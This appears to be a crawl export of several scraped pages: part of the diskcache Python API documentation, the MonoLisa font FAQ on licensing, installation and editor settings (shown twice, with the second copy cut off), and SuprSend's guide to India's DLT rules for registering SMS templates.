retry ( bool ) – retry if database timeout occurs (default True) Returns : True if item was set stats ( enable = True , reset = False ) ¶ Return cache statistics hits and misses. Parameters : enable ( bool ) – enable collecting statistics (default True) reset ( bool ) – reset hits and misses to 0 (default False) Returns : (hits, misses) touch ( key , timeout=<object object> , version=None , retry=True ) ¶ Touch a key in the cache. If timeout is given, that timeout will be used for the key; otherwise the default cache timeout will be used. Parameters : key – key for item timeout ( float ) – seconds until the item expires (default 300 seconds) version ( int ) – key version number (default None, cache parameter) retry ( bool ) – retry if database timeout occurs (default True) Returns : True if key was touched Deque ¶ class diskcache. Deque ( iterable = () , directory = None , maxlen = None ) ¶ Persistent sequence with double-ended queue semantics. Double-ended queue is an ordered collection with optimized access at its endpoints. Items are serialized to disk. Deque may be initialized from directory path where items are stored. >>> deque = Deque () >>> deque += range ( 5 ) >>> list ( deque ) [0, 1, 2, 3, 4] >>> for value in range ( 5 ): ... deque . appendleft ( - value ) >>> len ( deque ) 10 >>> list ( deque ) [-4, -3, -2, -1, 0, 0, 1, 2, 3, 4] >>> deque . pop () 4 >>> deque . popleft () -4 >>> deque . reverse () >>> list ( deque ) [3, 2, 1, 0, 0, -1, -2, -3] __delitem__ ( index ) ¶ deque.__delitem__(index) <==> del deque[index] Delete item in deque at index . >>> deque = Deque () >>> deque . extend ([ None ] * 3 ) >>> del deque [ 0 ] >>> del deque [ 1 ] >>> del deque [ - 1 ] >>> len ( deque ) 0 Parameters : index ( int ) – index of item Raises : IndexError – if index out of range __eq__ ( that ) ¶ Return True if and only if deque is equal to that . __ge__ ( that ) ¶ Return True if and only if deque is greater than or equal to that . __getitem__ ( index ) ¶ deque.__getitem__(index) <==> deque[index] Return corresponding item for index in deque. See also Deque.peekleft and Deque.peek for indexing deque at index 0 or -1 . >>> deque = Deque () >>> deque . extend ( 'abcde' ) >>> deque [ 1 ] 'b' >>> deque [ - 2 ] 'd' Parameters : index ( int ) – index of item Returns : corresponding item Raises : IndexError – if index out of range __getstate__ ( ) ¶ Helper for pickle. __gt__ ( that ) ¶ Return True if and only if deque is greater than that . __hash__ = None ¶ __iadd__ ( iterable ) ¶ deque.__iadd__(iterable) <==> deque += iterable Extend back side of deque with items from iterable. Parameters : iterable – iterable of items to append to deque Returns : deque with added items __init__ ( iterable = () , directory = None , maxlen = None ) ¶ Initialize deque instance. If directory is None then temporary directory created. The directory will not be automatically removed. Parameters : iterable – iterable of items to append to deque directory – deque directory (default | 2026-01-13T08:49:27 |
https://www.monolisa.dev/faq#what-languages-does-monolisa-support | MonoLisa - Frequently Asked Questions ../ Tester Specimen Posts Releases FAQ My Orders Get MonoLisa Menu FAQ General questions How can I send feedback related to the typeface? We’re eager to improve the font and make it better for everyone. Use the following options: For bug reports and feature requests, use our feedback channel on GitHub For anything private, send us email and we’ll get back to you How can I figure out which version of the typeface I have installed? Mac OS : Use either the Font Book app or a terminal command like otfccdump MonoLisa-Regular.ttf | jq .head.fontRevision . The command depends on otfcc and jq. Linux: The same terminal trick works under Linux as well. As a general solution, you can use the FontDrop web service . Will fixes made to version 2 be available for version 1 as well? In technical terms, versions one and two have been built differently. The biggest underlying change is that now the typeface is authored using Glyphs 3 (2 earlier) and it’s variable by definition. In other words, the weight of typeface became freely adjustable starting from version two. Because of the shift, all the fixes and improvements will go only towards version two as it would not be feasible to maintain both versions in parallel. There’s an upgrade path available for version one users. If you bought it later than 1st of May 2022, the upgrade is free for you, otherwise you’ll receive a 50% discount for the version two within the same tier. See the orders page for further details. How can I access version 1? Since version 1 was published years ago, we don’t support it anymore and it’s not available for download. Please consider upgrading to a newer version . Can I use MonoLisa while streaming/publishing videos online? Yes, of course. It would be great if you could link to the site but you don’t have to. Are themes visible on the site included to the font distribution? No, please see the theme collection related to your IDE to find close alternatives. Examples: VS Code , xcode , WebStorm . The download doesn’t work. What can I do? In some cases, the download might not work and give an error like net::ERR_CONTENT_LENGTH_MISMATCH 200 . This has been known to occur if your corporate network uses software like Zscaler. To work around, please download the font outside of your corporate network (e.g., home). Is there a student discount? To apply for a student discount, send proof of your student status to our email and we’ll see what we can do. A photo of your student card would be enough. Can I try the font beforehand? Yes, there’s a limited trial available . Note that it is missing majority of the features. See the playground as well. Orders How to upgrade to a higher tier (plus/complete)? You can upgrade by visiting My Orders page. We will deduct the amount you have already paid for earlier tier products. The same applies also for student licenses. If you are on version 1, you have to upgrade to version 2 of the same tier first before you are able to upgrade to a higher tier of version 2. How to change the email of my order? It may be possible that you do not have to change the email of the order as this information is used only for the login and your old email will keep on working there no matter what. That said, if you still want to remain on the mailing list, subscribe to it using your new email. In case you really want to get the order email changed to have all your Paddle orders behind a single email, the easiest way seems to be to contact help@paddle.com directly instead of relying on their bot. Make sure to include your order number and the new email that they should use for your order instead. Can I get a refund for my order? See the refund policy for the exact terms and conditions. I want to buy licenses for my team/company. How can I do that? Starting from 2.0, we have yearly subscriptions available for businesses at different levels. A company could for example buy a yearly license for itself or a team. See the buy page for the specific plans . How can I upgrade from version 1 to version 2? There are a couple of options depending on when you bought the original typeface: If you bought v1 within six months from the release (starting from 1st of April 2022), the upgrade is free for you and you can complete it at the orders page . The free upgrade is towards the same tier. Note that for the personal plan, the upgrade is called Basic now due to a naming change. If you bought v1 longer than six months ago from 1st of April 2022, you’ll get a 50% discount to the same tier. Complete the upgrade at the orders page . License Can I use the personal license for programming at my job/company? Yes, no problem. Can I use the personal license on my phone/tablet? Yes, no problem. Am I allowed to customize the personal version? Yes, you are allowed to customize (i.e., replace glyphs, apply Nerd Fonts) the personal version as long as you keep the changes private (i.e., within a private GitHub repository). Features Which weights/formats are included to each package? The exact weights have been listed below: Basic – Regular ( 400 ), Bold ( 700 ). The plan is available in ttf. Plus – Light ( 300 ), Regular ( 400 ), Medium ( 500 ), SemiBold ( 600 ), SemiBold ( 700 ). The plan is available in ttf. Complete – Thin ( 100 ), ExtraLight ( 200 ), Light ( 300 ), Regular ( 400 ), Medium ( 500 ), SemiBold ( 600 ), Bold ( 700 ), ExtraBold ( 800 ), Black ( 900 ). On top of this, the Complete version is available in a variable format (no fixed weight). The plan is available in both ttf and woff2 for web usage. You can download your purchases package at the orders page . 💡 Note that the Plus and Complete packages contain more alternative glyphs and have access to the customize tool that makes it easy to generate custom versions of the typeface even per application. This way you can avoid software limitations and use exactly the features you want. Settings & usage What languages does MonoLisa support? MonoLisa currently supports following languages: Abenaki, Afaan Oromo, Afar, Afrikaans, Albanian, Alsatian, Amis, Anuta, Aragonese, Aranese, Aromanian, Arrernte, Arvanitic, Asturian, Atayal, Aymara, Azerbaijani, Bashkir, Basque, Belarusian, Bemba, Bikol, Bislama, Bosnian, Breton, Bulgarian Romanization, Cape Verdean, Catalan, Cebuano, Chamorro, Chavacano, Chichewa, Chickasaw, Chinese Pinyin, Cimbrian, Cofan, Cornish, Corsican, Crimean Tatar, Croatian, Czech, Danish, Dawan, Delaware, Dholuo, Drehu, Dutch, English, Esperanto, Estonian, Faroese, Fijian, Filipino, Finnish, Folkspraak, French, Frisian, Friulian, Gagauz, Galician, Ganda, Genoese, German, Gikuyu, Gooniyandi, Greek, Greenlandic, Guadeloupean, Gwichin, Haitian Creole, Han, Hawaiian, Hiligaynon, Hopi, Hotcak, Hungarian, Icelandic, Ido, Igbo, Ilocano, Indonesian, Interglossa, Interlingua, Irish, Istroromanian, Italian, Jamaican, Javanese, Jerriais, Kaingang, Kala Lagaw Ya, Kapampangan, Kaqchikel, Karakalpak, Karelian, Kashubian, Kikongo, Kinyarwanda, Kiribati, Kirundi, Klingon, Kurdish, Ladin, Latin, Latino Sine, Latvian, Lithuanian, Lojban, Lombard, Low Saxon, Luxembourgish, Maasai, Makhuwa, Malay, Maltese, Manx, Maori, Marquesan, Meglenoromanian, Meriam Mir, Mirandese, Mohawk, Moldovan, Montagnais, Montenegrin, Murrinhpatha, Nagamese Creole, Nahuatl, Ndebele, Neapolitan, Ngiyambaa, Niuean, Noongar, Norwegian, Novial, Occidental, Occitan, Old Icelandic, Old Norse, Oshiwambo, Ossetian, Palauan, Papiamento, Piedmontese, Pinyin, Polish, Portuguese, Potawatomi, Qeqchi, Quechua, Rarotongan, Romanian, Romansh, Rotokas, Russian, Sami, Sami Inari, Sami Lule, Sami Northern, Sami Southern, Samoan, Sango, Saramaccan, Sardinian, Scottish Gaelic, Serbian, Seri, Seychellois, Shawnee, Shona, Sicilian, Silesian, Slovak, Slovenian, Slovio, Somali, Sorbian Lower, Sorbian Upper, Sotho Northern, Sotho Southern, Spanish, Sranan, Sundanese, Swahili, Swazi, Swedish, Tagalog, Tahitian, Tetum, Tok Pisin, Tokelauan, Tongan, Tshiluba, Tsonga, Tswana, Tumbuka, Turkish, Turkmen, Tuvaluan, Tzotzil, Ukrainian, Uzbek, Venetian, Vepsian, Vietnamese, Volapuk, Voro, Wallisian, Walloon, Waraywaray, Warlpiri, Wayuu, Welsh, Wikmungkan, Wiradjuri, Wolof, Xavante, Xhosa, Yapese, Yindjibarndi, Zapotec, Zarma, Zazaki, Zulu, Zuni The script variant doesn’t work. What can I do? To debug why the script variant (ss02) doesn’t work or show up, follow the steps below: Make sure both normal and italic versions are installed to your system. It’s the italic version that includes ss02. If you use VS Code, make sure to use the non-customized version (i.e., download without customizing). You can find more specific instructions below at the VS Code section on how to do this and how to enable ss02 then. If you use an editor that doesn’t let you enable ss02 (IntelliJ etc.), please use the customize tool to freeze it to the font itself at your order page. To see ss02 in action, make sure to use text with italics applied to it as otherwise it won’t render. Depending on the editor, you may have to change the font for comments or the code feature where you want to use ss02. If in doubt, use fontdrop to verify that the feature is available in the version you downloaded. After dropping the italic version there, you should see a toggle for ss02. After pressing it, you should see the script variant applied to the sample. If you froze the feature through customization, it should be enabled by default. Downloading How to download the typeface? You can download the latest version in “My orders” section by providing the email you used during the checkout and the order number. How can I download the latest version of the typeface? You can download the latest version in “My orders” section by providing the email you used during the checkout and the order number. I lost my download link or it doesn’t work. How can I access the typeface? You can download the latest version in “My orders” section by providing the email you used during the checkout and the order number. Usage How to install the typeface? Before installation, make sure to remove any possible earlier version of MonoLisa to avoid potential issues between different versions (esp. 1 and 2). Windows See installing fonts on Windows Linux Please refer to the documentation of your Linux distribution. iPad/iPhone Please use an application like Fontcase to import the font assets from iCloud or Dropbox and then apply the profile through Settings app. This blog post explains the process in more detail. MacOS To install: Select and open all downloaded files ( *.ttf* ) Click on “Install font” To uninstall: Open *Font Book.app* Find *MonoLisa* using search Right-click on it and choose *Remove “MonoLisa” Family* Empty trash bin To update: Download the latest version of the font from the orders page Remove the old version of the font using *Font Book.app* Install the newer version of the font You might need to restart your computer to see the newer version of the font in your editor. If that doesn’t work, please see next question. To clear the font cache: Run the following in Terminal.app 01 02 03 04 sudo atsutil databases -remove atsutil server -shutdown atsutil server -ping sudo atsutil databases -remove atsutil server -shutdown atsutil server -ping Restart your computer Re-install the font (see previous question) Please refer to these instructions if you still can’t update the font. How to use the typeface in program X? Generally put, the editor support for special features included in MonoLisa is weak. VS Code documented below is an exception to this rule. For the rest, it’s preferable to use the customize tool to generate a typeface that makes sense for your use case. The same goes for terminals as majority of them don’t expose many font features and you are lucky if you can toggle ligatures. Design software tends to have better support (esp. Adobe products, Figma, and Affinity Designer). For something more presentation oriented, such as Pages, using the customize tool is the way to go again. How to enable alternate zero, stylistic sets, and the script variant? Some OpenType features of MonoLisa are optional and they are hidden behind stylistic sets. At the moment, editor support for the feature is unfortunately poor. VS Code In VS Code the example below, we enable calt glyphs (space alterations), disable ligatures ( liga ), enable the alternate zero ( zero ) and the script variant ( ss02 ) at settings.json : 01 02 03 04 05 { "editor.fontLigatures" : "'calt' on, 'liga' off, 'zero' on, 'ss02' on" } { "editor.fontLigatures": "'calt' on, 'liga' off, 'zero' on, 'ss02' on" } The editor.fontLigatures field accepts standard CSS. Other programs To mitigate the problem for the rest of the programs, additionally you can customize your font before downloading it (plus plan or above). This allows removing ligatures or enabling script variant by default for any editor. For the basic edition, please use fonttools-opentype-feature-freezer , MuTsunTsai/fontfreeze , or a comparable tool. How to enable slashed zero in the basic version? For editors that don’t support stylistic sets, please use fonttools-opentype-feature-freezer , MuTsunTsai/fontfreeze , or a comparable tool to freeze zero to the font. How to enable superscript and subscript characters? Both superscript and subscript versions of numbers are included by default and visible at the specimen page . The page also includes their UTF codes and Stack Overflow provides help on how to type them . Where can I find the script glyphs (ss02)? It’s important to note that the script glyphs have been defined only for the Italic variant of the typeface, not Normal. You can verify this behavior by looking at the specimen page . Furthermore, you have to apply italics on the features of code you want to highlight as otherwise it won’t do anything. Terminal How to enable Nerd Fonts with MonoLisa? Nerd Fonts is a popular collection of icons that can be patched to a font you use and the same process works with MonoLisa. There are two ways to make Nerd Fonts work with MonoLisa: fallback and patching. The fallback approach is preferable as then you don’t have to touch the font files when upgrading and using fallback has been covered at Nerd Fonts documentation (works for Windows, Linux). There’s more information available about fallbacks (Kitty terminal, VS Code) at described in this issue comment . In case the fallback approach doesn’t work for you and you want to patch, consider using daylinmorgan/monolisa-nerdfonts-patch . To avoid so called backtick issue , make sure you are using at least version 2.2.2 of Nerd Fonts. What are the recommended settings for iTerm 2? Depending on your display and sight, you could set the size even down to 11. It’s good to have anti-aliased on and set Use ligatures based on your preference. Example below: How to enable stylistic sets for the Kitty terminal? Use the following configuration (adjust font name to match the one on your system): kitty.conf: 01 02 03 04 05 06 07 08 09 10 11 12 13 # ref: https://sw.kovidgoyal.net/kitty/conf/#opt-kitty.font_features font_features MonoLisa-Medium +zero +ss04 +ss07 +ss08 +ss09 font_features MonoLisa-MediumItalic +zero +ss04 +ss07 +ss08 +ss09 # another way font_family family = "MonoLisa" bold_font auto italic_font auto bold_italic_font auto # Enable Script feature specifically font_features MonoLisa-RegularItalic +ss02 # ref: https://sw.kovidgoyal.net/kitty/conf/#opt-kitty.font_features font_features MonoLisa-Medium +zero +ss04 +ss07 +ss08 +ss09 font_features MonoLisa-MediumItalic +zero +ss04 +ss07 +ss08 +ss09 # another way font_family family="MonoLisa" bold_font auto italic_font auto bold_italic_font auto # Enable Script feature specifically font_features MonoLisa-RegularItalic +ss02 How to setup the progress bar glyphs in a terminal? See this GitHub comment for a script. WebStorm What are the suggested settings for WebStorm? Go to Preferences → Editor → Font and set the font to MonoLisa . Adjust the remaining options to your liking. Preferences → Editor → Font Visual Studio Code What are the suggested settings for Visual Studio Code? Make sure you are using the non-customized version with VS Code as it’s not needed there. You can customize which font features are used through configuration: 01 02 03 04 05 06 07 08 09 10 11 { "editor.fontFamily" : "MonoLisa" , // Or "'MonoLisa'" // When lineHeight is set to zero, VS Code will figure out the // the height automatically based on the font "editor.lineHeight" : 0 , // You can use standard CSS syntax here. To enable // ss01 for example, you could set "'ss01' on" "editor.fontLigatures" : true , "editor.fontSize" : 12 } { "editor.fontFamily": "MonoLisa", // Or "'MonoLisa'" // When lineHeight is set to zero, VS Code will figure out the // the height automatically based on the font "editor.lineHeight": 0, // You can use standard CSS syntax here. To enable // ss01 for example, you could set "'ss01' on" "editor.fontLigatures": true, "editor.fontSize": 12 } Note that if you have customized the name and use a whitespace in it, it’s preferable to escape the name (i.e., "'MonoLisa Custom'" ). See the font-family CSS rule for specifics . How to make italics show up in Visual Studio Code? You have to enable them at the theme level. See this Stack Overflow question for a couple of ways how to do it. How to enable the script variant (ss02) for comments or function names? Make sure you are using the non-customized version with VS Code as it’s not needed there. To make the script variant work, make sure ss02 is enabled and that italic font style is being applied to your theme. The configuration below does this globally for VS Code: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 { "editor.fontFamily" : "MonoLisa" , // Or "'MonoLisa'" "editor.fontLigatures" : "'ss02' on" , "editor.tokenColorCustomizations" : { "textMateRules" : [ { "scope" : "comment" , "settings" : { "fontStyle" : "italic" } } ] } } { "editor.fontFamily": "MonoLisa", // Or "'MonoLisa'" "editor.fontLigatures": "'ss02' on", "editor.tokenColorCustomizations": { "textMateRules": [ { "scope": "comment", "settings": { "fontStyle": "italic" } } ] } } See the related Stack Overflow question for more information and the customize-ui VS Code plugin . How to change the font weight? How to enable variable weight? In order to alter the font weight, you should use the editor.fontWeight field like this: 01 02 03 04 05 06 07 08 09 10 { // This works for both fixed weights and variable "editor.fontFamily" : "MonoLisa" , // Or "'MonoLisa'" "editor.fontWeight" : 400 , // If you are using the variable version, set fontVariations: true // After setting this, you can use any fontWeight between 100 and 900 "editor.fontVariations" : true } { // This works for both fixed weights and variable "editor.fontFamily": "MonoLisa", // Or "'MonoLisa'" "editor.fontWeight": 400, // If you are using the variable version, set fontVariations: true // After setting this, you can use any fontWeight between 100 and 900 "editor.fontVariations": true } Adjust the number based on the fonts you own. 400 is regular and the rest are with 100 increments (300 for light for example and 700 for bold). There’s more information about variable fonts in VS Code in this issue. How to make MonoLisa take less vertical space? If the default line height of MonoLisa feels too roomy for you, try adjusting it in VS Code like this: 01 02 03 04 { "editor.lineHeight" : 16 } { "editor.lineHeight": 16 } Tweak the number till it looks good to you. You can use zero to use the default measurement to compare. Get MonoLisa Tester Specimen Releases FAQ My orders Send feedback Follow on Twitter Subscribe for updates License Refund Policy Privacy Policy Cookie Policy Imprint © FaceType , 2026 Made in Vienna by Component-Driven | 2026-01-13T08:49:27 |
https://docs.suprsend.com/docs/dlt-guidelines | DLT Guidelines - SuprSend, Notification infrastructure for Product teams Skip to main content SuprSend, Notification infrastructure for Product teams home page Search... ⌘ K Community Trust Center Platform Status Postman Collection GETTING STARTED What is SuprSend? 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Navigation CORE CONCEPTS DLT Guidelines Documentation API Reference Management API CLI Reference Developer Resources Changelog Documentation API Reference Management API CLI Reference Developer Resources Changelog CORE CONCEPTS DLT Guidelines OpenAI Open in ChatGPT Distributed Ledger Technology (DLT) guidelines for approving and sending SMS in India. OpenAI Open in ChatGPT Distributed Ledger Technology (DLT) The Distributed Ledger Technology (DLT) is a Blockchain based technology used by the Telecom Regulatory Authority of India (TRAI) to check for unsolicited SMSs sent to the end users. It was activated as the Telecom Commercial Communications Customer Preference (TCCCP) Regulations in April, 2021. Post these regulations, principal entities (PEs) can only send SMSs which are registered on the Distributed Ledger Technology (DLT) platform. Categories of message templates A. Transactional Any message which contains One time Password (OTP) and requires to complete a banking transaction initiated by the bank customer will only fall under this category. This is applicable to all banks (national/Scheduled/Private/Government and even MNC banks) Example: OTP message required for completing a Net-banking transaction. OTP message required for completing credit/debit card transaction at a Merchant location. B. Service Implicit Any message triggered in response to a user action or arising from his relationship with the sender, that is not promotional, will fall in this category. These messages will not be blocked for subscribers who have otherwise blocked service messages also. Informative SMS and other OTPs fall into this category. Example: Confirmation messages payment transactions, purchase confirmation, delivery status etc. OTP messages for payments through Payment Wallet over E-Commerce website, OTP messages for App login Periodic balance info, bill generation, bill dispatch, due date reminders, recharge confirmation (DTH, cable, prepaid electricity recharge, etc) Messages from schools-attendance/transport alerts. Messages from hospitals/clinics/pharmacies/radiologists/pathologists about registration, appointment, discharge, reports. Confirmatory messages from app-based services. Govt/DOT/TRAI mandated messages. Service updates from car workshops, repair shops, gadgets service centres. Directory services like Justdial, yellow pages. Day-end/month-end settlement alerts to securities/Demat account holders. C. Service Explicit These are the messages which requires explicit consent from customer, that has been verified directly from the recipient in robust and verifiable manner and recorded by consent registrar. Any service message which doesn’t fall under service-implicit category. There may not be any need for explicit consent to all other subscribers, who have not blocked service messages Example: Messages to the existing customers recommending or promoting other products or services. Re-engagement messages sent to existing customer like “It’s been 30 days since you last visited our platform. Visit now and explore our new products” D. Promotional Any message sent with an intention to promote or sell a product, goods or service will fall in this category. Service content mixed with promotional content will also be treated as promotional. Explicit consent is not needed to send such messages. Example: Offer messages to new users like “Shop for 3999 and get 10% off on our App. Limited time offer. T&C. Download the App now…” Pack Upgrade message to existing customers like “Upgrade to our pro plan. Get credit limit of 1k and pay once in 30 days. Click here…” General template validation Organization name or tenant name must appear in the template. Transaction Content Template is only available for banks, digital wallets duly permitted/approved by RBI. Transaction/Service Explicit/Service implicit templates can be created under Alpha-headers. Promotional templates can be created under Numeric headers. 2 or more spaces are not supposed to be used between 2 words, before word or after word. Trans/Service category messages should have variable mandatorily. Promo category can have complete fixed content or with variable part. Maximum allowed variable length is 30 characters. Spaces, special and regular characters, all qualify as characters. All special characters are being allowed currently. Adding non-english alpha numeric and special characters in message qualify as UNICODE SMS which has a lower character limit per message than TEXT SMS No of messages Text characters Unicode characters 1 SMS 160 70 2 SMS 306 134 3 SMS 459 201 4 SMS 612 268 5 SMS 765 335 If Principal entity(PE) uses the name of another entity in their templates, the Telecom service provider (TSP) will register the same on the presumption that there exists a business relationship with that entity without having any accountability to validate the same. Valid proofs and justification if sought pursuant to any complaints by TRAI/PE shall have to be furnished by the registering PE. Do’s for template content Use promotional category for communications intended to send from numerical sender id only. Service–explicit category needs to link consent template as well, without which the template gets rejected. Values like amount, date, a/c no, merchant names, OTP, codes, URL, customer names, card type, etc. should be replaced with variables. DON’TS for template content Not linking consent templates for content template categories promotional & service – explicit . Same content template should not be tagged against multiple headers. Selecting Transactional category by non-banking enterprises. Using double spaces in templates (this can be pre-checked by verifying the template on any text editor before template submission). The whole template should not be variable, the customer is required to mention the template content in between the variables. Templates should not be less than 6 char long Was this page helpful? Yes No Suggest edits Raise issue Previous Whatsapp Template Guidelines Guidelines and allowed content for whatsapp template approval. Next ⌘ I x github linkedin youtube Powered by On this page Distributed Ledger Technology (DLT) Categories of message templates A. Transactional B. Service Implicit C. Service Explicit D. Promotional General template validation Do’s for template content DON’TS for template content | 2026-01-13T08:49:27 |
https://www.monolisa.dev/faq | MonoLisa - Frequently Asked Questions ../ Tester Specimen Posts Releases FAQ My Orders Get MonoLisa Menu FAQ General questions How can I send feedback related to the typeface? We’re eager to improve the font and make it better for everyone. Use the following options: For bug reports and feature requests, use our feedback channel on GitHub For anything private, send us email and we’ll get back to you How can I figure out which version of the typeface I have installed? Mac OS : Use either the Font Book app or a terminal command like otfccdump MonoLisa-Regular.ttf | jq .head.fontRevision . The command depends on otfcc and jq. Linux: The same terminal trick works under Linux as well. As a general solution, you can use the FontDrop web service . Will fixes made to version 2 be available for version 1 as well? In technical terms, versions one and two have been built differently. The biggest underlying change is that now the typeface is authored using Glyphs 3 (2 earlier) and it’s variable by definition. In other words, the weight of typeface became freely adjustable starting from version two. Because of the shift, all the fixes and improvements will go only towards version two as it would not be feasible to maintain both versions in parallel. There’s an upgrade path available for version one users. If you bought it later than 1st of May 2022, the upgrade is free for you, otherwise you’ll receive a 50% discount for the version two within the same tier. See the orders page for further details. How can I access version 1? Since version 1 was published years ago, we don’t support it anymore and it’s not available for download. Please consider upgrading to a newer version . Can I use MonoLisa while streaming/publishing videos online? Yes, of course. It would be great if you could link to the site but you don’t have to. Are themes visible on the site included to the font distribution? No, please see the theme collection related to your IDE to find close alternatives. Examples: VS Code , xcode , WebStorm . The download doesn’t work. What can I do? In some cases, the download might not work and give an error like net::ERR_CONTENT_LENGTH_MISMATCH 200 . This has been known to occur if your corporate network uses software like Zscaler. To work around, please download the font outside of your corporate network (e.g., home). Is there a student discount? To apply for a student discount, send proof of your student status to our email and we’ll see what we can do. A photo of your student card would be enough. Can I try the font beforehand? Yes, there’s a limited trial available . Note that it is missing majority of the features. See the playground as well. Orders How to upgrade to a higher tier (plus/complete)? You can upgrade by visiting My Orders page. We will deduct the amount you have already paid for earlier tier products. The same applies also for student licenses. If you are on version 1, you have to upgrade to version 2 of the same tier first before you are able to upgrade to a higher tier of version 2. How to change the email of my order? It may be possible that you do not have to change the email of the order as this information is used only for the login and your old email will keep on working there no matter what. That said, if you still want to remain on the mailing list, subscribe to it using your new email. In case you really want to get the order email changed to have all your Paddle orders behind a single email, the easiest way seems to be to contact help@paddle.com directly instead of relying on their bot. Make sure to include your order number and the new email that they should use for your order instead. Can I get a refund for my order? See the refund policy for the exact terms and conditions. I want to buy licenses for my team/company. How can I do that? Starting from 2.0, we have yearly subscriptions available for businesses at different levels. A company could for example buy a yearly license for itself or a team. See the buy page for the specific plans . How can I upgrade from version 1 to version 2? There are a couple of options depending on when you bought the original typeface: If you bought v1 within six months from the release (starting from 1st of April 2022), the upgrade is free for you and you can complete it at the orders page . The free upgrade is towards the same tier. Note that for the personal plan, the upgrade is called Basic now due to a naming change. If you bought v1 longer than six months ago from 1st of April 2022, you’ll get a 50% discount to the same tier. Complete the upgrade at the orders page . License Can I use the personal license for programming at my job/company? Yes, no problem. Can I use the personal license on my phone/tablet? Yes, no problem. Am I allowed to customize the personal version? Yes, you are allowed to customize (i.e., replace glyphs, apply Nerd Fonts) the personal version as long as you keep the changes private (i.e., within a private GitHub repository). Features Which weights/formats are included to each package? The exact weights have been listed below: Basic – Regular ( 400 ), Bold ( 700 ). The plan is available in ttf. Plus – Light ( 300 ), Regular ( 400 ), Medium ( 500 ), SemiBold ( 600 ), SemiBold ( 700 ). The plan is available in ttf. Complete – Thin ( 100 ), ExtraLight ( 200 ), Light ( 300 ), Regular ( 400 ), Medium ( 500 ), SemiBold ( 600 ), Bold ( 700 ), ExtraBold ( 800 ), Black ( 900 ). On top of this, the Complete version is available in a variable format (no fixed weight). The plan is available in both ttf and woff2 for web usage. You can download your purchases package at the orders page . 💡 Note that the Plus and Complete packages contain more alternative glyphs and have access to the customize tool that makes it easy to generate custom versions of the typeface even per application. This way you can avoid software limitations and use exactly the features you want. Settings & usage What languages does MonoLisa support? MonoLisa currently supports following languages: Abenaki, Afaan Oromo, Afar, Afrikaans, Albanian, Alsatian, Amis, Anuta, Aragonese, Aranese, Aromanian, Arrernte, Arvanitic, Asturian, Atayal, Aymara, Azerbaijani, Bashkir, Basque, Belarusian, Bemba, Bikol, Bislama, Bosnian, Breton, Bulgarian Romanization, Cape Verdean, Catalan, Cebuano, Chamorro, Chavacano, Chichewa, Chickasaw, Chinese Pinyin, Cimbrian, Cofan, Cornish, Corsican, Crimean Tatar, Croatian, Czech, Danish, Dawan, Delaware, Dholuo, Drehu, Dutch, English, Esperanto, Estonian, Faroese, Fijian, Filipino, Finnish, Folkspraak, French, Frisian, Friulian, Gagauz, Galician, Ganda, Genoese, German, Gikuyu, Gooniyandi, Greek, Greenlandic, Guadeloupean, Gwichin, Haitian Creole, Han, Hawaiian, Hiligaynon, Hopi, Hotcak, Hungarian, Icelandic, Ido, Igbo, Ilocano, Indonesian, Interglossa, Interlingua, Irish, Istroromanian, Italian, Jamaican, Javanese, Jerriais, Kaingang, Kala Lagaw Ya, Kapampangan, Kaqchikel, Karakalpak, Karelian, Kashubian, Kikongo, Kinyarwanda, Kiribati, Kirundi, Klingon, Kurdish, Ladin, Latin, Latino Sine, Latvian, Lithuanian, Lojban, Lombard, Low Saxon, Luxembourgish, Maasai, Makhuwa, Malay, Maltese, Manx, Maori, Marquesan, Meglenoromanian, Meriam Mir, Mirandese, Mohawk, Moldovan, Montagnais, Montenegrin, Murrinhpatha, Nagamese Creole, Nahuatl, Ndebele, Neapolitan, Ngiyambaa, Niuean, Noongar, Norwegian, Novial, Occidental, Occitan, Old Icelandic, Old Norse, Oshiwambo, Ossetian, Palauan, Papiamento, Piedmontese, Pinyin, Polish, Portuguese, Potawatomi, Qeqchi, Quechua, Rarotongan, Romanian, Romansh, Rotokas, Russian, Sami, Sami Inari, Sami Lule, Sami Northern, Sami Southern, Samoan, Sango, Saramaccan, Sardinian, Scottish Gaelic, Serbian, Seri, Seychellois, Shawnee, Shona, Sicilian, Silesian, Slovak, Slovenian, Slovio, Somali, Sorbian Lower, Sorbian Upper, Sotho Northern, Sotho Southern, Spanish, Sranan, Sundanese, Swahili, Swazi, Swedish, Tagalog, Tahitian, Tetum, Tok Pisin, Tokelauan, Tongan, Tshiluba, Tsonga, Tswana, Tumbuka, Turkish, Turkmen, Tuvaluan, Tzotzil, Ukrainian, Uzbek, Venetian, Vepsian, Vietnamese, Volapuk, Voro, Wallisian, Walloon, Waraywaray, Warlpiri, Wayuu, Welsh, Wikmungkan, Wiradjuri, Wolof, Xavante, Xhosa, Yapese, Yindjibarndi, Zapotec, Zarma, Zazaki, Zulu, Zuni The script variant doesn’t work. What can I do? To debug why the script variant (ss02) doesn’t work or show up, follow the steps below: Make sure both normal and italic versions are installed to your system. It’s the italic version that includes ss02. If you use VS Code, make sure to use the non-customized version (i.e., download without customizing). You can find more specific instructions below at the VS Code section on how to do this and how to enable ss02 then. If you use an editor that doesn’t let you enable ss02 (IntelliJ etc.), please use the customize tool to freeze it to the font itself at your order page. To see ss02 in action, make sure to use text with italics applied to it as otherwise it won’t render. Depending on the editor, you may have to change the font for comments or the code feature where you want to use ss02. If in doubt, use fontdrop to verify that the feature is available in the version you downloaded. After dropping the italic version there, you should see a toggle for ss02. After pressing it, you should see the script variant applied to the sample. If you froze the feature through customization, it should be enabled by default. Downloading How to download the typeface? You can download the latest version in “My orders” section by providing the email you used during the checkout and the order number. How can I download the latest version of the typeface? You can download the latest version in “My orders” section by providing the email you used during the checkout and the order number. I lost my download link or it doesn’t work. How can I access the typeface? You can download the latest version in “My orders” section by providing the email you used during the checkout and the order number. Usage How to install the typeface? Before installation, make sure to remove any possible earlier version of MonoLisa to avoid potential issues between different versions (esp. 1 and 2). Windows See installing fonts on Windows Linux Please refer to the documentation of your Linux distribution. iPad/iPhone Please use an application like Fontcase to import the font assets from iCloud or Dropbox and then apply the profile through Settings app. This blog post explains the process in more detail. MacOS To install: Select and open all downloaded files ( *.ttf* ) Click on “Install font” To uninstall: Open *Font Book.app* Find *MonoLisa* using search Right-click on it and choose *Remove “MonoLisa” Family* Empty trash bin To update: Download the latest version of the font from the orders page Remove the old version of the font using *Font Book.app* Install the newer version of the font You might need to restart your computer to see the newer version of the font in your editor. If that doesn’t work, please see next question. To clear the font cache: Run the following in Terminal.app 01 02 03 04 sudo atsutil databases -remove atsutil server -shutdown atsutil server -ping sudo 